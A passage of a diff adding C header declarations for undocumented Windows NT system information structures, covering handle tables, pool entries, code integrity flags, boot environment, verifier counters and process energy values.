+ ULONG DemotionCount; + ULONG ErrorCount; + ULONG RetryCount; + ULONGLONG CurrentFrequencyTime; + ULONGLONG CurrentProcessorTime; + ULONGLONG CurrentProcessorIdleTime; + ULONGLONG LastProcessorTime; + ULONGLONG LastProcessorIdleTime; + ULONGLONG Energy; +} SYSTEM_PROCESSOR_POWER_INFORMATION, * PSYSTEM_PROCESSOR_POWER_INFORMATION; + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX +{ + PVOID Object; + ULONG_PTR UniqueProcessId; + ULONG_PTR HandleValue; + ULONG GrantedAccess; + USHORT CreatorBackTraceIndex; + USHORT ObjectTypeIndex; + ULONG HandleAttributes; + ULONG Reserved; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX; + +typedef struct _SYSTEM_HANDLE_INFORMATION_EX +{ + ULONG_PTR NumberOfHandles; + ULONG_PTR Reserved; + SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1]; +} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX; + +typedef struct _SYSTEM_BIGPOOL_ENTRY +{ + union + { + PVOID VirtualAddress; + ULONG_PTR NonPaged : 1; + }; + SIZE_T SizeInBytes; + union + { + UCHAR Tag[4]; + ULONG TagUlong; + }; +} SYSTEM_BIGPOOL_ENTRY, * PSYSTEM_BIGPOOL_ENTRY; + +typedef struct _SYSTEM_BIGPOOL_INFORMATION +{ + ULONG Count; + SYSTEM_BIGPOOL_ENTRY AllocatedInfo[1]; +} SYSTEM_BIGPOOL_INFORMATION, * PSYSTEM_BIGPOOL_INFORMATION; + +typedef struct _SYSTEM_POOL_ENTRY +{ + BOOLEAN Allocated; + BOOLEAN Spare0; + USHORT AllocatorBackTraceIndex; + ULONG Size; + union + { + UCHAR Tag[4]; + ULONG TagUlong; + PVOID ProcessChargedQuota; + }; +} SYSTEM_POOL_ENTRY, * PSYSTEM_POOL_ENTRY; + +typedef struct _SYSTEM_POOL_INFORMATION +{ + SIZE_T TotalSize; + PVOID FirstEntry; + USHORT EntryOverhead; + BOOLEAN PoolTagPresent; + BOOLEAN Spare0; + ULONG NumberOfEntries; + SYSTEM_POOL_ENTRY Entries[1]; +} SYSTEM_POOL_INFORMATION, * PSYSTEM_POOL_INFORMATION; + +typedef struct _SYSTEM_SESSION_POOLTAG_INFORMATION +{ + SIZE_T NextEntryOffset; + ULONG SessionId; + ULONG Count; + SYSTEM_POOLTAG TagInfo[1]; +} SYSTEM_SESSION_POOLTAG_INFORMATION, * PSYSTEM_SESSION_POOLTAG_INFORMATION; + +typedef struct _SYSTEM_SESSION_MAPPED_VIEW_INFORMATION +{ + SIZE_T NextEntryOffset; + ULONG SessionId; + ULONG ViewFailures; + SIZE_T NumberOfBytesAvailable; + SIZE_T NumberOfBytesAvailableContiguous; +} SYSTEM_SESSION_MAPPED_VIEW_INFORMATION, * PSYSTEM_SESSION_MAPPED_VIEW_INFORMATION; + +#ifndef _KERNEL_MODE +// private +typedef enum _SYSTEM_FIRMWARE_TABLE_ACTION +{ + SystemFirmwareTableEnumerate, + SystemFirmwareTableGet, + SystemFirmwareTableMax +} SYSTEM_FIRMWARE_TABLE_ACTION; + +// private +typedef struct _SYSTEM_FIRMWARE_TABLE_INFORMATION +{ + ULONG ProviderSignature; // (same as the GetSystemFirmwareTable function) + SYSTEM_FIRMWARE_TABLE_ACTION Action; + ULONG TableID; + ULONG TableBufferLength; + UCHAR TableBuffer[1]; +} SYSTEM_FIRMWARE_TABLE_INFORMATION, * PSYSTEM_FIRMWARE_TABLE_INFORMATION; + +// private +typedef NTSTATUS(__cdecl* PFNFTH)( + _Inout_ PSYSTEM_FIRMWARE_TABLE_INFORMATION SystemFirmwareTableInfo + ); + +// private +typedef struct _SYSTEM_FIRMWARE_TABLE_HANDLER +{ + ULONG ProviderSignature; + BOOLEAN Register; + PFNFTH FirmwareTableHandler; + PVOID DriverObject; +} SYSTEM_FIRMWARE_TABLE_HANDLER, * PSYSTEM_FIRMWARE_TABLE_HANDLER; +#endif // _KERNEL_MODE + +// private +typedef struct _SYSTEM_MEMORY_LIST_INFORMATION +{ + ULONG_PTR ZeroPageCount; + ULONG_PTR FreePageCount; + ULONG_PTR ModifiedPageCount; + ULONG_PTR ModifiedNoWritePageCount; + ULONG_PTR BadPageCount; + ULONG_PTR PageCountByPriority[8]; + ULONG_PTR RepurposedPagesByPriority[8]; + ULONG_PTR ModifiedPageCountPageFile; +} SYSTEM_MEMORY_LIST_INFORMATION, * PSYSTEM_MEMORY_LIST_INFORMATION; + +// private +typedef enum _SYSTEM_MEMORY_LIST_COMMAND +{ + MemoryCaptureAccessedBits, + MemoryCaptureAndResetAccessedBits, + MemoryEmptyWorkingSets, + MemoryFlushModifiedList, + MemoryPurgeStandbyList, + MemoryPurgeLowPriorityStandbyList, + MemoryCommandMax +} SYSTEM_MEMORY_LIST_COMMAND; + +// private +typedef struct _SYSTEM_THREAD_CID_PRIORITY_INFORMATION +{ + CLIENT_ID ClientId; + KPRIORITY Priority; +} SYSTEM_THREAD_CID_PRIORITY_INFORMATION, * PSYSTEM_THREAD_CID_PRIORITY_INFORMATION; + +// private +typedef struct _SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION +{ + ULONGLONG CycleTime; +} SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION, * PSYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION; + +// private +typedef struct _SYSTEM_VERIFIER_ISSUE +{ + ULONGLONG IssueType; + PVOID Address; + ULONGLONG Parameters[2]; +} SYSTEM_VERIFIER_ISSUE, * PSYSTEM_VERIFIER_ISSUE; + +// private +typedef struct _SYSTEM_VERIFIER_CANCELLATION_INFORMATION +{ + ULONG CancelProbability; + ULONG CancelThreshold; + ULONG CompletionThreshold; + ULONG CancellationVerifierDisabled; + ULONG AvailableIssues; + SYSTEM_VERIFIER_ISSUE Issues[128]; +} SYSTEM_VERIFIER_CANCELLATION_INFORMATION, * PSYSTEM_VERIFIER_CANCELLATION_INFORMATION; + +// private +typedef struct _SYSTEM_REF_TRACE_INFORMATION +{ + BOOLEAN TraceEnable; + BOOLEAN TracePermanent; + UNICODE_STRING TraceProcessName; + UNICODE_STRING TracePoolTags; +} SYSTEM_REF_TRACE_INFORMATION, * PSYSTEM_REF_TRACE_INFORMATION; + +// private +typedef struct _SYSTEM_SPECIAL_POOL_INFORMATION +{ + ULONG PoolTag; + ULONG Flags; +} SYSTEM_SPECIAL_POOL_INFORMATION, * PSYSTEM_SPECIAL_POOL_INFORMATION; + +// private +typedef struct _SYSTEM_PROCESS_ID_INFORMATION +{ + HANDLE ProcessId; + UNICODE_STRING ImageName; +} SYSTEM_PROCESS_ID_INFORMATION, * PSYSTEM_PROCESS_ID_INFORMATION; + +#if (WDK_NTDDI_VERSION >= NTDDI_WIN10_RS3) +// private +typedef struct _SYSTEM_BOOT_ENVIRONMENT_INFORMATION +{ + GUID BootIdentifier; + FIRMWARE_TYPE FirmwareType; + union + { + ULONGLONG BootFlags; + struct + { + ULONGLONG DbgMenuOsSelection : 1; // REDSTONE4 + ULONGLONG DbgHiberBoot : 1; + ULONGLONG DbgSoftBoot : 1; + ULONGLONG DbgMeasuredLaunch : 1; + ULONGLONG DbgMeasuredLaunchCapable : 1; // 19H1 + ULONGLONG DbgSystemHiveReplace : 1; + ULONGLONG DbgMeasuredLaunchSmmProtections : 1; + ULONGLONG DbgMeasuredLaunchSmmLevel : 7; // 20H1 + }; + }; +} SYSTEM_BOOT_ENVIRONMENT_INFORMATION, * PSYSTEM_BOOT_ENVIRONMENT_INFORMATION; +#endif // WDK_NTDDI_VERSION >= NTDDI_WIN10_RS3 + +// private +typedef struct _SYSTEM_IMAGE_FILE_EXECUTION_OPTIONS_INFORMATION +{ + ULONG FlagsToEnable; + ULONG FlagsToDisable; +} SYSTEM_IMAGE_FILE_EXECUTION_OPTIONS_INFORMATION, * PSYSTEM_IMAGE_FILE_EXECUTION_OPTIONS_INFORMATION; + +// private +typedef struct _SYSTEM_PREFETCH_PATCH_INFORMATION +{ + ULONG PrefetchPatchCount; +} SYSTEM_PREFETCH_PATCH_INFORMATION, * PSYSTEM_PREFETCH_PATCH_INFORMATION; + +// private +typedef struct _SYSTEM_VERIFIER_FAULTS_INFORMATION +{ + ULONG Probability; + ULONG MaxProbability; + UNICODE_STRING PoolTags; + UNICODE_STRING Applications; +} SYSTEM_VERIFIER_FAULTS_INFORMATION, * PSYSTEM_VERIFIER_FAULTS_INFORMATION; + +// private +typedef struct _SYSTEM_VERIFIER_INFORMATION_EX +{ + ULONG VerifyMode; + ULONG OptionChanges; + UNICODE_STRING PreviousBucketName; + ULONG IrpCancelTimeoutMsec; + ULONG VerifierExtensionEnabled; +#ifdef _WIN64 + ULONG Reserved[1]; +#else + ULONG Reserved[3]; +#endif +} SYSTEM_VERIFIER_INFORMATION_EX, * PSYSTEM_VERIFIER_INFORMATION_EX; + +// private +typedef struct _SYSTEM_SYSTEM_PARTITION_INFORMATION +{ + UNICODE_STRING SystemPartition; +} SYSTEM_SYSTEM_PARTITION_INFORMATION, * PSYSTEM_SYSTEM_PARTITION_INFORMATION; + +// private +typedef struct _SYSTEM_SYSTEM_DISK_INFORMATION +{ + UNICODE_STRING SystemDisk; +} SYSTEM_SYSTEM_DISK_INFORMATION, * PSYSTEM_SYSTEM_DISK_INFORMATION; + +// private (Windows 8.1 and above) +typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_HITCOUNT +{ + ULONGLONG Hits; + UCHAR PercentFrequency; +} SYSTEM_PROCESSOR_PERFORMANCE_HITCOUNT, * PSYSTEM_PROCESSOR_PERFORMANCE_HITCOUNT; + +// private (Windows 7 and Windows 8) +typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_HITCOUNT_WIN8 +{ + ULONG Hits; + UCHAR PercentFrequency; +} SYSTEM_PROCESSOR_PERFORMANCE_HITCOUNT_WIN8, * PSYSTEM_PROCESSOR_PERFORMANCE_HITCOUNT_WIN8; + +// private +typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_STATE_DISTRIBUTION +{ + ULONG ProcessorNumber; + ULONG StateCount; + SYSTEM_PROCESSOR_PERFORMANCE_HITCOUNT States[1]; +} SYSTEM_PROCESSOR_PERFORMANCE_STATE_DISTRIBUTION, * PSYSTEM_PROCESSOR_PERFORMANCE_STATE_DISTRIBUTION; + +// private +typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_DISTRIBUTION +{ + ULONG ProcessorCount; + ULONG Offsets[1]; +} SYSTEM_PROCESSOR_PERFORMANCE_DISTRIBUTION, * PSYSTEM_PROCESSOR_PERFORMANCE_DISTRIBUTION; + +#define CODEINTEGRITY_OPTION_ENABLED 0x01 +#define CODEINTEGRITY_OPTION_TESTSIGN 0x02 +#define CODEINTEGRITY_OPTION_UMCI_ENABLED 0x04 +#define CODEINTEGRITY_OPTION_UMCI_AUDITMODE_ENABLED 0x08 +#define CODEINTEGRITY_OPTION_UMCI_EXCLUSIONPATHS_ENABLED 0x10 +#define CODEINTEGRITY_OPTION_TEST_BUILD 0x20 +#define CODEINTEGRITY_OPTION_PREPRODUCTION_BUILD 0x40 +#define CODEINTEGRITY_OPTION_DEBUGMODE_ENABLED 0x80 +#define CODEINTEGRITY_OPTION_FLIGHT_BUILD 0x100 +#define CODEINTEGRITY_OPTION_FLIGHTING_ENABLED 0x200 +#define CODEINTEGRITY_OPTION_HVCI_KMCI_ENABLED 0x400 +#define CODEINTEGRITY_OPTION_HVCI_KMCI_AUDITMODE_ENABLED 0x800 +#define CODEINTEGRITY_OPTION_HVCI_KMCI_STRICTMODE_ENABLED 0x1000 +#define CODEINTEGRITY_OPTION_HVCI_IUM_ENABLED 0x2000 + +// private +typedef struct _SYSTEM_CODEINTEGRITY_INFORMATION +{ + ULONG Length; + ULONG CodeIntegrityOptions; +} SYSTEM_CODEINTEGRITY_INFORMATION, * PSYSTEM_CODEINTEGRITY_INFORMATION; + +// private +typedef struct _SYSTEM_PROCESSOR_MICROCODE_UPDATE_INFORMATION +{ + ULONG Operation; +} SYSTEM_PROCESSOR_MICROCODE_UPDATE_INFORMATION, * PSYSTEM_PROCESSOR_MICROCODE_UPDATE_INFORMATION; + +// private +typedef enum _SYSTEM_VA_TYPE +{ + SystemVaTypeAll, + SystemVaTypeNonPagedPool, + SystemVaTypePagedPool, + SystemVaTypeSystemCache, + SystemVaTypeSystemPtes, + SystemVaTypeSessionSpace, + SystemVaTypeMax +} SYSTEM_VA_TYPE, * PSYSTEM_VA_TYPE; + +// private +typedef struct _SYSTEM_VA_LIST_INFORMATION +{ + SIZE_T VirtualSize; + SIZE_T VirtualPeak; + SIZE_T VirtualLimit; + SIZE_T AllocationFailures; +} SYSTEM_VA_LIST_INFORMATION, * PSYSTEM_VA_LIST_INFORMATION; + +// rev +typedef enum _SYSTEM_STORE_INFORMATION_CLASS +{ + SystemStoreCompressionInformation = 22 // q: SYSTEM_STORE_COMPRESSION_INFORMATION +} SYSTEM_STORE_INFORMATION_CLASS; + +// rev +#define SYSTEM_STORE_INFORMATION_VERSION 1 + +// rev +typedef struct _SYSTEM_STORE_INFORMATION +{ + _In_ ULONG Version; + _In_ SYSTEM_STORE_INFORMATION_CLASS StoreInformationClass; + _Inout_ PVOID Data; + _Inout_ ULONG Length; +} SYSTEM_STORE_INFORMATION, * PSYSTEM_STORE_INFORMATION; + +// rev +#define SYSTEM_STORE_COMPRESSION_INFORMATION_VERSION 3 + +// rev +typedef struct _SYSTEM_STORE_COMPRESSION_INFORMATION +{ + ULONG Version; + ULONG CompressionPid; + ULONGLONG CompressionWorkingSetSize; + ULONGLONG CompressSize; + ULONGLONG CompressedSize; + ULONGLONG NonCompressedSize; +} SYSTEM_STORE_COMPRESSION_INFORMATION, * PSYSTEM_STORE_COMPRESSION_INFORMATION; + +// private +typedef struct _SYSTEM_REGISTRY_APPEND_STRING_PARAMETERS +{ + HANDLE KeyHandle; + PUNICODE_STRING ValueNamePointer; + PULONG RequiredLengthPointer; + PUCHAR Buffer; + ULONG BufferLength; + ULONG Type; + PUCHAR AppendBuffer; + ULONG AppendBufferLength; + BOOLEAN CreateIfDoesntExist; + BOOLEAN TruncateExistingValue; +} SYSTEM_REGISTRY_APPEND_STRING_PARAMETERS, * PSYSTEM_REGISTRY_APPEND_STRING_PARAMETERS; + +// msdn +typedef struct _SYSTEM_VHD_BOOT_INFORMATION +{ + BOOLEAN OsDiskIsVhd; + ULONG OsVhdFilePathOffset; + WCHAR OsVhdParentVolume[ANYSIZE_ARRAY]; +} SYSTEM_VHD_BOOT_INFORMATION, * PSYSTEM_VHD_BOOT_INFORMATION; + +// private +typedef struct _PS_CPU_QUOTA_QUERY_ENTRY +{ + ULONG SessionId; + ULONG Weight; +} PS_CPU_QUOTA_QUERY_ENTRY, * PPS_CPU_QUOTA_QUERY_ENTRY; + +// private +typedef struct _PS_CPU_QUOTA_QUERY_INFORMATION +{ + ULONG SessionCount; + PS_CPU_QUOTA_QUERY_ENTRY SessionInformation[1]; +} PS_CPU_QUOTA_QUERY_INFORMATION, * PPS_CPU_QUOTA_QUERY_INFORMATION; + +// private +typedef struct _SYSTEM_ERROR_PORT_TIMEOUTS +{ + ULONG StartTimeout; + ULONG CommTimeout; +} SYSTEM_ERROR_PORT_TIMEOUTS, * PSYSTEM_ERROR_PORT_TIMEOUTS; + +// private +typedef struct _SYSTEM_LOW_PRIORITY_IO_INFORMATION +{ + ULONG LowPriReadOperations; + ULONG LowPriWriteOperations; + ULONG KernelBumpedToNormalOperations; + ULONG LowPriPagingReadOperations; + ULONG KernelPagingReadsBumpedToNormal; + ULONG LowPriPagingWriteOperations; + ULONG KernelPagingWritesBumpedToNormal; + ULONG BoostedIrpCount; + ULONG BoostedPagingIrpCount; + ULONG BlanketBoostCount; +} SYSTEM_LOW_PRIORITY_IO_INFORMATION, * PSYSTEM_LOW_PRIORITY_IO_INFORMATION; + +// symbols +typedef enum _TPM_BOOT_ENTROPY_RESULT_CODE +{ + TpmBootEntropyStructureUninitialized, + TpmBootEntropyDisabledByPolicy, + TpmBootEntropyNoTpmFound, + TpmBootEntropyTpmError, + TpmBootEntropySuccess +} TPM_BOOT_ENTROPY_RESULT_CODE; + +// Contents of KeLoaderBlock->Extension->TpmBootEntropyResult (TPM_BOOT_ENTROPY_LDR_RESULT). +// EntropyData is truncated to 40 bytes. + +// private +typedef struct _TPM_BOOT_ENTROPY_NT_RESULT +{ + ULONGLONG Policy; + TPM_BOOT_ENTROPY_RESULT_CODE ResultCode; + NTSTATUS ResultStatus; + ULONGLONG Time; + ULONG EntropyLength; + UCHAR EntropyData[40]; +} TPM_BOOT_ENTROPY_NT_RESULT, * PTPM_BOOT_ENTROPY_NT_RESULT; + +// private +typedef struct _SYSTEM_VERIFIER_COUNTERS_INFORMATION +{ + SYSTEM_VERIFIER_INFORMATION Legacy; + ULONG RaiseIrqls; + ULONG AcquireSpinLocks; + ULONG SynchronizeExecutions; + ULONG AllocationsWithNoTag; + ULONG AllocationsFailed; + ULONG AllocationsFailedDeliberately; + SIZE_T LockedBytes; + SIZE_T PeakLockedBytes; + SIZE_T MappedLockedBytes; + SIZE_T PeakMappedLockedBytes; + SIZE_T MappedIoSpaceBytes; + SIZE_T PeakMappedIoSpaceBytes; + SIZE_T PagesForMdlBytes; + SIZE_T PeakPagesForMdlBytes; + SIZE_T ContiguousMemoryBytes; + SIZE_T PeakContiguousMemoryBytes; + ULONG ExecutePoolTypes; // REDSTONE2 + ULONG ExecutePageProtections; + ULONG ExecutePageMappings; + ULONG ExecuteWriteSections; + ULONG SectionAlignmentFailures; + ULONG UnsupportedRelocs; + ULONG IATInExecutableSection; +} SYSTEM_VERIFIER_COUNTERS_INFORMATION, * PSYSTEM_VERIFIER_COUNTERS_INFORMATION; + +// private +typedef struct _SYSTEM_ACPI_AUDIT_INFORMATION +{ + ULONG RsdpCount; + ULONG SameRsdt : 1; + ULONG SlicPresent : 1; + ULONG SlicDifferent : 1; +} SYSTEM_ACPI_AUDIT_INFORMATION, * PSYSTEM_ACPI_AUDIT_INFORMATION; + +// private +typedef struct _SYSTEM_BASIC_PERFORMANCE_INFORMATION +{ + SIZE_T AvailablePages; + SIZE_T CommittedPages; + SIZE_T CommitLimit; + SIZE_T PeakCommitment; +} SYSTEM_BASIC_PERFORMANCE_INFORMATION, * PSYSTEM_BASIC_PERFORMANCE_INFORMATION; + +// begin_msdn + +typedef struct _QUERY_PERFORMANCE_COUNTER_FLAGS +{ + union + { + struct + { + ULONG KernelTransition : 1; + ULONG Reserved : 31; + }; + ULONG ul; + }; +} QUERY_PERFORMANCE_COUNTER_FLAGS; + +typedef struct _SYSTEM_QUERY_PERFORMANCE_COUNTER_INFORMATION +{ + ULONG Version; + QUERY_PERFORMANCE_COUNTER_FLAGS Flags; + QUERY_PERFORMANCE_COUNTER_FLAGS ValidFlags; +} SYSTEM_QUERY_PERFORMANCE_COUNTER_INFORMATION, * PSYSTEM_QUERY_PERFORMANCE_COUNTER_INFORMATION; + +// end_msdn + +// private +typedef enum _SYSTEM_PIXEL_FORMAT +{ + SystemPixelFormatUnknown, + SystemPixelFormatR8G8B8, + SystemPixelFormatR8G8B8X8, + SystemPixelFormatB8G8R8, + SystemPixelFormatB8G8R8X8 +} SYSTEM_PIXEL_FORMAT; + +// private +typedef struct _SYSTEM_BOOT_GRAPHICS_INFORMATION +{ + LARGE_INTEGER FrameBuffer; + ULONG Width; + ULONG Height; + ULONG PixelStride; + ULONG Flags; + SYSTEM_PIXEL_FORMAT Format; + ULONG DisplayRotation; +} SYSTEM_BOOT_GRAPHICS_INFORMATION, * PSYSTEM_BOOT_GRAPHICS_INFORMATION; + +// private +typedef struct _MEMORY_SCRUB_INFORMATION +{ + HANDLE Handle; + ULONG PagesScrubbed; +} MEMORY_SCRUB_INFORMATION, * PMEMORY_SCRUB_INFORMATION; + +// private +typedef struct _PEBS_DS_SAVE_AREA32 +{ + ULONG BtsBufferBase; + ULONG BtsIndex; + ULONG BtsAbsoluteMaximum; + ULONG BtsInterruptThreshold; + ULONG PebsBufferBase; + ULONG PebsIndex; + ULONG PebsAbsoluteMaximum; + ULONG PebsInterruptThreshold; + ULONG PebsGpCounterReset[8]; + ULONG PebsFixedCounterReset[4]; +} PEBS_DS_SAVE_AREA32, * PPEBS_DS_SAVE_AREA32; + +// private +typedef struct _PEBS_DS_SAVE_AREA64 +{ + ULONGLONG BtsBufferBase; + ULONGLONG BtsIndex; + ULONGLONG BtsAbsoluteMaximum; + ULONGLONG BtsInterruptThreshold; + ULONGLONG PebsBufferBase; + ULONGLONG PebsIndex; + ULONGLONG PebsAbsoluteMaximum; + ULONGLONG PebsInterruptThreshold; + ULONGLONG PebsGpCounterReset[8]; + ULONGLONG PebsFixedCounterReset[4]; +} PEBS_DS_SAVE_AREA64, * PPEBS_DS_SAVE_AREA64; + +// private +typedef union _PEBS_DS_SAVE_AREA +{ + PEBS_DS_SAVE_AREA32 As32Bit; + PEBS_DS_SAVE_AREA64 As64Bit; +} PEBS_DS_SAVE_AREA, * PPEBS_DS_SAVE_AREA; + +// private +typedef struct _PROCESSOR_PROFILE_CONTROL_AREA +{ + PEBS_DS_SAVE_AREA PebsDsSaveArea; +} PROCESSOR_PROFILE_CONTROL_AREA, * PPROCESSOR_PROFILE_CONTROL_AREA; + +// private +typedef struct _SYSTEM_PROCESSOR_PROFILE_CONTROL_AREA +{ + PROCESSOR_PROFILE_CONTROL_AREA ProcessorProfileControlArea; + BOOLEAN Allocate; +} SYSTEM_PROCESSOR_PROFILE_CONTROL_AREA, * PSYSTEM_PROCESSOR_PROFILE_CONTROL_AREA; + +// private +typedef struct _MEMORY_COMBINE_INFORMATION +{ + HANDLE Handle; + ULONG_PTR PagesCombined; +} MEMORY_COMBINE_INFORMATION, * PMEMORY_COMBINE_INFORMATION; + +// rev +#define MEMORY_COMBINE_FLAGS_COMMON_PAGES_ONLY 0x4 + +// private +typedef struct _MEMORY_COMBINE_INFORMATION_EX +{ + HANDLE Handle; + ULONG_PTR PagesCombined; + ULONG Flags; +} MEMORY_COMBINE_INFORMATION_EX, * PMEMORY_COMBINE_INFORMATION_EX; + +// private +typedef struct _MEMORY_COMBINE_INFORMATION_EX2 +{ + HANDLE Handle; + ULONG_PTR PagesCombined; + ULONG Flags; + HANDLE ProcessHandle; +} MEMORY_COMBINE_INFORMATION_EX2, * PMEMORY_COMBINE_INFORMATION_EX2; + +// private +typedef struct _SYSTEM_CONSOLE_INFORMATION +{ + ULONG DriverLoaded : 1; + ULONG Spare : 31; +} SYSTEM_CONSOLE_INFORMATION, * PSYSTEM_CONSOLE_INFORMATION; + +// private +typedef struct _SYSTEM_PLATFORM_BINARY_INFORMATION +{ + ULONG64 PhysicalAddress; + PVOID HandoffBuffer; + PVOID CommandLineBuffer; + ULONG HandoffBufferSize; + ULONG CommandLineBufferSize; +} SYSTEM_PLATFORM_BINARY_INFORMATION, * PSYSTEM_PLATFORM_BINARY_INFORMATION; + +// private +typedef struct _SYSTEM_POLICY_INFORMATION +{ + PVOID InputData; + PVOID OutputData; + ULONG InputDataSize; + ULONG OutputDataSize; + ULONG Version; +} SYSTEM_POLICY_INFORMATION, * PSYSTEM_POLICY_INFORMATION; + +// private +typedef struct _SYSTEM_HYPERVISOR_PROCESSOR_COUNT_INFORMATION +{ + ULONG NumberOfLogicalProcessors; + ULONG NumberOfCores; +} SYSTEM_HYPERVISOR_PROCESSOR_COUNT_INFORMATION, * PSYSTEM_HYPERVISOR_PROCESSOR_COUNT_INFORMATION; + +// private +typedef struct _SYSTEM_DEVICE_DATA_INFORMATION +{ + UNICODE_STRING DeviceId; + UNICODE_STRING DataName; + ULONG DataType; + ULONG DataBufferLength; + PVOID DataBuffer; +} SYSTEM_DEVICE_DATA_INFORMATION, * PSYSTEM_DEVICE_DATA_INFORMATION; + +// private +typedef struct _PHYSICAL_CHANNEL_RUN +{ + ULONG NodeNumber; + ULONG ChannelNumber; + ULONGLONG BasePage; + ULONGLONG PageCount; + ULONG Flags; +} PHYSICAL_CHANNEL_RUN, * PPHYSICAL_CHANNEL_RUN; + +// private +typedef struct _SYSTEM_MEMORY_TOPOLOGY_INFORMATION +{ + ULONGLONG NumberOfRuns; + ULONG NumberOfNodes; + ULONG NumberOfChannels; + PHYSICAL_CHANNEL_RUN Run[1]; +} SYSTEM_MEMORY_TOPOLOGY_INFORMATION, * PSYSTEM_MEMORY_TOPOLOGY_INFORMATION; + +// private +typedef struct _SYSTEM_MEMORY_CHANNEL_INFORMATION +{ + ULONG ChannelNumber; + ULONG ChannelHeatIndex; + ULONGLONG TotalPageCount; + ULONGLONG ZeroPageCount; + ULONGLONG FreePageCount; + ULONGLONG StandbyPageCount; +} SYSTEM_MEMORY_CHANNEL_INFORMATION, * PSYSTEM_MEMORY_CHANNEL_INFORMATION; + +// private +typedef struct _SYSTEM_BOOT_LOGO_INFORMATION +{ + ULONG Flags; + ULONG BitmapOffset; +} SYSTEM_BOOT_LOGO_INFORMATION, * PSYSTEM_BOOT_LOGO_INFORMATION; + +// private +typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION_EX +{ + LARGE_INTEGER IdleTime; + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER DpcTime; + LARGE_INTEGER InterruptTime; + ULONG InterruptCount; + ULONG Spare0; + LARGE_INTEGER AvailableTime; + LARGE_INTEGER Spare1; + LARGE_INTEGER Spare2; +} SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION_EX, * PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION_EX; + +// private +typedef struct _SYSTEM_SECUREBOOT_POLICY_INFORMATION +{ + GUID PolicyPublisher; + ULONG PolicyVersion; + ULONG PolicyOptions; +} SYSTEM_SECUREBOOT_POLICY_INFORMATION, * PSYSTEM_SECUREBOOT_POLICY_INFORMATION; + +// private +typedef struct _SYSTEM_PAGEFILE_INFORMATION_EX +{ + union // HACK union declaration for convenience (dmex) + { + SYSTEM_PAGEFILE_INFORMATION Info; + struct + { + ULONG NextEntryOffset; + ULONG TotalSize; + ULONG TotalInUse; + ULONG PeakUsage; + UNICODE_STRING PageFileName; + }; + }; + + ULONG MinimumSize; + ULONG MaximumSize; +} SYSTEM_PAGEFILE_INFORMATION_EX, * PSYSTEM_PAGEFILE_INFORMATION_EX; + +// private +typedef struct _SYSTEM_SECUREBOOT_INFORMATION +{ + BOOLEAN SecureBootEnabled; + BOOLEAN SecureBootCapable; +} SYSTEM_SECUREBOOT_INFORMATION, * PSYSTEM_SECUREBOOT_INFORMATION; + +// private +typedef struct _PROCESS_DISK_COUNTERS +{ + ULONGLONG BytesRead; + ULONGLONG BytesWritten; + ULONGLONG ReadOperationCount; + ULONGLONG WriteOperationCount; + ULONGLONG FlushOperationCount; +} PROCESS_DISK_COUNTERS, * PPROCESS_DISK_COUNTERS; + +// private +typedef union _ENERGY_STATE_DURATION +{ + union + { + ULONGLONG Value; + ULONG LastChangeTime; + }; + + ULONG Duration : 31; + ULONG IsInState : 1; +} ENERGY_STATE_DURATION, * PENERGY_STATE_DURATION; + +typedef struct _PROCESS_ENERGY_VALUES +{ + ULONGLONG Cycles[4][2]; + ULONGLONG DiskEnergy; + ULONGLONG NetworkTailEnergy; + ULONGLONG MBBTailEnergy; + ULONGLONG NetworkTxRxBytes; + ULONGLONG MBBTxRxBytes; + union + { + ENERGY_STATE_DURATION Durations[3]; + struct + { + ENERGY_STATE_DURATION ForegroundDuration; + ENERGY_STATE_DURATION DesktopVisibleDuration; + ENERGY_STATE_DURATION PSMForegroundDuration; + }; + }; + ULONG CompositionRendered; + ULONG CompositionDirtyGenerated; + ULONG CompositionDirtyPropagated; + ULONG Reserved1; + ULONGLONG AttributedCycles[4][2]; + ULONGLONG WorkOnBehalfCycles[4][2]; +} PROCESS_ENERGY_VALUES, * PPROCESS_ENERGY_VALUES; + +typedef struct _TIMELINE_BITMAP +{ + ULONGLONG Value; + ULONG EndTime; + ULONG Bitmap; +} TIMELINE_BITMAP, * PTIMELINE_BITMAP; + +typedef struct _PROCESS_ENERGY_VALUES_EXTENSION +{ + union + { + TIMELINE_BITMAP Timelines[14]; // 9 for REDSTONE2, 14 for REDSTONE3/4/5 + struct + { + TIMELINE_BITMAP CpuTimeline; + TIMELINE_BITMAP DiskTimeline; + TIMELINE_BITMAP NetworkTimeline; + TIMELINE_BITMAP MBBTimeline; + TIMELINE_BITMAP ForegroundTimeline; + TIMELINE_BITMAP DesktopVisibleTimeline; + TIMELINE_BITMAP CompositionRenderedTimeline; + TIMELINE_BITMAP CompositionDirtyGeneratedTimeline; + TIMELINE_BITMAP CompositionDirtyPropagatedTimeline; + TIMELINE_BITMAP InputTimeline; // REDSTONE3 + TIMELINE_BITMAP AudioInTimeline; + TIMELINE_BITMAP AudioOutTimeline; + TIMELINE_BITMAP DisplayRequiredTimeline; + TIMELINE_BITMAP KeyboardInputTimeline; + }; + }; + + union // REDSTONE3 + { + ENERGY_STATE_DURATION Durations[5]; + struct + { + ENERGY_STATE_DURATION InputDuration; + ENERGY_STATE_DURATION AudioInDuration; + ENERGY_STATE_DURATION AudioOutDuration; + ENERGY_STATE_DURATION DisplayRequiredDuration; + ENERGY_STATE_DURATION PSMBackgroundDuration; + }; + }; + + ULONG KeyboardInput; + ULONG MouseInput; +} PROCESS_ENERGY_VALUES_EXTENSION, * PPROCESS_ENERGY_VALUES_EXTENSION; + +typedef struct _PROCESS_EXTENDED_ENERGY_VALUES +{ + PROCESS_ENERGY_VALUES Base; + 